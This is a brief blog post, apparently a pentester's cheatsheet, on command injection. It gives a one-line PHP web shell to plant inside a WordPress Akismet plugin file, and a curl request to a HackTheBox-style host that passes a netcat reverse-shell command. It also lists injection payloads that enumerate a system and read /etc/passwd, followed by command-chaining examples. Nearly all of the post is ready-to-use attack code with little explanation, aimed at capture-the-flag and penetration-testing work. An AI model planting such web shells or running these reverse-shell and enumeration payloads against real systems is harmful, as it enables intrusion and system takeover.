Post

Command Injection cheatsheet

Posted
By Asif Nawaz Minhas
1 min read
Command Injection cheatsheet

Command injection is a vulnerability that occurs when an application improperly passes user input to a system shell. Attackers can exploit this flaw to execute arbitrary commands on the target system. This often happens due to improper input validation in web applications, shell scripts, or system commands.

Alternative Command Injection

Replace vulnerable code with:

1

<?php echo system($_REQUEST['cmd']); ?>

Example usage:

1

wp-content/plugins/akismet/wrapper.php?cmd=whoami

Or via curl:

1

curl -X POST http://spectra.htb/pathtoaskismet/wrapper.php -d cmd="nc 127.0.0.1 1337 -e /bin/sh"

Linux Command Injection

Basic Enumeration

1
2
3
4
5
6
7

; id
; whoami
; uname -a
; ls -la
; cat /etc/passwd
; ps aux
; netstat -tulnp

Chaining Commands

1
2
3

id; ls -la  # Execute id and then list files
whoami && hostname  # Run hostname only if whoami succeeds
ls || echo "Command failed"  # Show message if ls fails
Cheatsheets
Cheatsheets command injection
This post is licensed under CC BY 4.0 by the author.